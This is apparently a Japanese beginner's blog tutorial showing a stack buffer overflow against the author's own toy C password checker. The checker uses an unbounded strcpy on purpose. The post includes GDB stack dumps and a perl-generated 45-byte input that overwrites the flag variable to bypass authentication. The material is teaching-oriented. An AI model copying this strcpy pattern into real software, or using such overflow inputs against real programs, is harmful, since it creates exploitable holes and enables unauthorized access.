##概要
初投稿です。
C言語を使って1分30秒で書いた「なんちゃってパスワード認証」に対してバッファオーバーフロー攻撃を行い、パスワード認証を突破する方法を紹介します。ソースコード自体はHello World!の次くらいに簡単だと思うので、C言語初心者の方でも興味を持って読んでいただけると幸いです。
また、あくまでこの記事で紹介する内容は、ソースコードを見ながら正しいパスワードを入力せずに簡単にパスワード認証を突破することを目的としています。(今後の記事では、逆アセンブルやバイナリ解析・クラッキング・諸々のツールの使い方なども紹介する予定です。)
##環境
OS:Kali-linux(64bit)
コンパイラ:GCC
GDBを使用する都合上、GCCでコンパイルを行います。(GCCとGDBの関係についてはこちらのサイト様の解説がとても分かりやすいです)
また、今回の記事では、込み入った話に持ち込まずに簡単に突破出来るように、ASLRを無効化しています。
##コンパイルしてGDBを起動してみる
今回、突破を試みるパスワード認証のソースコードです。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_password(char *password){
int flag = 0;
char checkpass[32];
strcpy(checkpass,password);
if(strcmp(checkpass,"PASSWORDisPASSWORD") == 0){
flag = 1;
}
return flag;
}
int main(int argc,char *argv[]){
if(argc != 2) {
printf("usage: %s [passsword]\n", argv[0]);
exit(-1);
}
if(check_password(argv[1])){
printf("Success:)");
}else{
printf("Try again:(");
}
}
恐らくC言語初心者向けサイトを一読していれば分かる内容だと思うので、ソースコード自体の詳しい解説は割愛します。
流れとしては、コマンドラインからパスワードを入力し、入力した文字列がPASSWORDisPASSWORD
と合致していたら、Success:)
が返ってくるというものです。
chelly@kali:~/qiita$ gcc -g -o check_password check_password.c
chelly@kali:~/qiita$ ./check_password
usage: ./check_password [passsword]
chelly@kali:~/qiita$ ./check_password aaaa
Try again:(
chelly@kali:~/qiita$ ./check_password PASSWORDisPASSWORD
Success:)
gccでのコンパイル時に-gオプション
を付けているのは、このあとGDBでlistコマンド
やbreakコマンド
を使用する為です。
では、実際にGDBでソースコードを表示していきます。
chelly@kali:~/qiita$ gdb -q check_password
Reading symbols from check_password...done.
(gdb) list
7 char checkpass[32];
8 strcpy(checkpass,password);
9
10 if(strcmp(checkpass,"PASSWORDisPASSWORD")==0){
11 flag = 1;
12 }
13
14 return flag;
15 }
16
(gdb)
17
18
19 int main(int argc,char *argv[]){
20
21 if(argc != 2) {
22 printf("usage: %s [passsword]\n", argv[0]);
23 exit(-1);
24 }
25
26 if(check_password(argv[1])){
(gdb)
27 printf("Success:)\n");
28 }else{
29 printf("Try again:(\n");
30 }
31 }
GDBを実行する際の-qオプション
は、あの長々したウェルカムバナーを省略するためなので気にしなくて良いです。前述した通り、今回はgccでのコンパイル時に-gオプション
を付けたので、listコマンド
が使えるようになっています。
##GDBでパスワード認証を突破してみる(作戦編)
ソースコードから以下のことが分かります。
①main関数のif文を見る限り、check_password関数のflagの値が0以外であれば、認証を突破できそう(重要)。
②strcpy関数を用いてコマンドラインからの文字列を受け取っているので、checkpassの値はある程度であれば長さ関係なく入力できそう。
以上のソースコードの設計上の脆弱性を利用して、今回は、バッファオーバーフロー攻撃
を行いたいと思います。
バッファオーバーフローについては、こちらのサイト様の解説がとても分かりやすいです。
##GDBでパスワード認証を突破してみる(事前準備編)
chelly@kali:~/qiita$ gdb -q check_password
Reading symbols from check_password...done.
(gdb) break 8
Breakpoint 1 at 0x1188: file check_password.c, line 8.
(gdb) run aaaa
Starting program: /home/chelly/qiita/check_password aaaa
Breakpoint 1, check_password (password=0x7fffffffe468 "aaaa")
at check_password.c:8
8 strcpy(checkpass,password);
(gdb) x/32xw $rsp
0x7fffffffdff0: 0x000000c2 0x00000000 0xffffe468 0x00007fff
0x7fffffffe000: 0x00000001 0x00000000 0xf7e87da5 0x00007fff
0x7fffffffe010: 0x00000000 0x00000000 0x55555275 0x00005555
0x7fffffffe020: 0xf7fe4550 0x00007fff 0x00000000 0x00000000
0x7fffffffe030: 0xffffe050 0x00007fff 0x5555520b 0x00005555
0x7fffffffe040: 0xffffe138 0x00007fff 0x00000000 0x00000002
0x7fffffffe050: 0x55555230 0x00005555 0xf7e0909b 0x00007fff
0x7fffffffe060: 0x00000000 0x00000000 0xffffe138 0x00007fff
(gdb) x/x checkpass
0x7fffffffe000: 0x00000001
(gdb) x/x &password
0x7fffffffdff8: 0xffffe468
breakコマンド
は、runコマンド
でプログラムを実行させたときに、一時停止を行うポイント(以降ブレイクポイント)を設定するコマンドです。今回はbreak 8
とすることで、プログラム8行目に位置するstrcpy関数の動作の直前をブレイクポイントに設定しています。また、gdbにおけるrun aaaa
と、シェルにおける./check_password aaaa
は、同じ動作を指します。
xコマンド
は、指定した変数やレジスタが現在メモリ上のどのアドレスに存在している(指している)のか、メモリの内容を調べる際に使われます。
今回使用したx/32xw $rsp
というコマンドは、スタックポインタ(rsp)が現在どのアドレスを指しているのか、4バイトずつにまとめて(x\w)、16進数で出力(x\xw)せよ。さらに、そのまとまりを、32個続けて出力(x\32xw)せよ。
という意味です。
実際に、x/x checkpass
や、x/x &password
の出力結果と、x/32xw $rsp
の出力結果を照らしあわせて見ると、確かに、各々の該当アドレスに変数の値が入っています。
次に、nextコマンド
を使って、プログラムの処理を一行分だけ進めます。つまり、strcpy関数が実行され、checkpassの値は、コマンドラインから入力したaaaaになるはずです。
(gdb) n
10 if(strcmp(checkpass,"PASSWORDisPASSWORD")==0){
(gdb) x/32xw $rsp
0x7fffffffdff0: 0x000000c2 0x00000000 0xffffe468 0x00007fff
0x7fffffffe000: 0x61616161 0x00000000 0xf7e87da5 0x00007fff
0x7fffffffe010: 0x00000000 0x00000000 0x55555275 0x00005555
0x7fffffffe020: 0xf7fe4550 0x00007fff 0x00000000 0x00000000
0x7fffffffe030: 0xffffe050 0x00007fff 0x5555520b 0x00005555
0x7fffffffe040: 0xffffe138 0x00007fff 0x00000000 0x00000002
0x7fffffffe050: 0x55555230 0x00005555 0xf7e0909b 0x00007fff
0x7fffffffe060: 0x00000000 0x00000000 0xffffe138 0x00007fff
(gdb) x/x checkpass
0x7fffffffe000: 0x61616161
nコマンド
は、nextコマンド
の省略形です。
気になるcheckpassの値は......0x61616161に変わってる!
0x61616161
は、ASCIIコードでaaaa
を表します。(0x61がaを表します。)
ここまでが、各々の変数やレジスタのメモリ上の位置を確認する事前準備です。
##GDBでパスワード認証を突破してみる(実践編)
ここからは、先ほど企てた作戦と事前準備を基に、実際にバッファオーバーフロー攻撃を行います。
先ほどの作戦②で、checkpassのバイト数を自由に変えることが出来るのではないかという仮説を立てました。実際に試してみます。
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x20')
Try again:(
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x30')
Try again:(
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x40')
Try again:(
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x100')
Segmentation fault
上記のとおり、check_passwordに様々な値を入力......???Perl........???
bashコマンドにおけるPerlは超超超便利なので、上のシェルコマンドの意味がよくわからなければ、こちらのサイト様が大変参考になるのでこの機会にかじってみてください。
結果を見ると、確かにコマンドラインから何文字でも入力できそうです。しかし、aが100個並ぶような長い文字列を入力すると、Segmentation fault
が発生することが確認できます。
次は、GDBにてaを20個並べたときのメモリの状況を確認します。
chelly@kali:~/qiita$ gdb -q check_password
Reading symbols from check_password...done.
(gdb) break 8
(gdb) run $(perl -e 'print "a"x20')
Starting program: /home/chelly/qiita/check_password $(perl -e 'print "a"x20')
Breakpoint 1, check_password (password=0x7fffffffe457 'a' <repeats 20 times>) at check_password.c:8
8 strcpy(checkpass,password);
(gdb) n
10 if(strcmp(checkpass,"PASSWORDisPASSWORD")==0){
(gdb) x/32xw $rsp
0x7fffffffdfe0: 0x000000c2 0x00000000 0xffffe457 0x00007fff
0x7fffffffdff0: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffe000: 0x61616161 0x00000000 0x55555275 0x00005555
0x7fffffffe010: 0xf7fe4550 0x00007fff 0x00000000 0x00000000
0x7fffffffe020: 0xffffe040 0x00007fff 0x5555520b 0x00005555
0x7fffffffe030: 0xffffe128 0x00007fff 0x00000000 0x00000002
0x7fffffffe040: 0x55555230 0x00005555 0xf7e0909b 0x00007fff
0x7fffffffe050: 0x00000000 0x00000000 0xffffe128 0x00007fff
(gdb) x/x checkpass
0x7fffffffdff0: 0x61616161
0x7fffffffdff0
番地から0x7fffffffe007
番地までに20個のa(0x61)が書き込まれていることが確認できます。
先ほど考えた作戦①では、flagの値が0以外であれば、if文を突破できると考えました。flagの値がどの番地に格納されているか確認します。
(gdb) x/x &flag
0x7fffffffe01c: 0x00000000
0x7fffffffe01c
番地というと、checkpassの書き込み開始番地が0x7fffffffdff0
番地であったので、0x7fffffffe01c - 0x7fffffffdff0
を計算すると、その差は10進数で44であることが分かります。
ここで得た44という値はあくまで差であるため、実際は差の44+1バイトでflagの値が格納されている番地に到達することになります。
つまり、コマンドラインの文字列を$(perl -e 'print "a"x45')にすることで、flagの値は、0x00000061になりそうです。もしこれが可能ならば、check_password関数は戻り値として61を返すので、main関数のif文を突破できる=パスワード認証を突破できるはずです。
chelly@kali:~/qiita$ ./check_password $(perl -e 'print "a"x45')
Success:)
突破できました。
##おわりに
今回は、スタック領域におけるバッファオーバーフロー攻撃の簡単な例を紹介しました。次回は、コンパイル時に-gオプションを付けたりソースコードを見たりなどをせずに、実行ファイルのバイナリを解析して、正面から(?)認証を突破する方法を紹介します。
初投稿なので、書き方や諸々について見づらい点や分かりにくい点があれば指摘していただきたいです。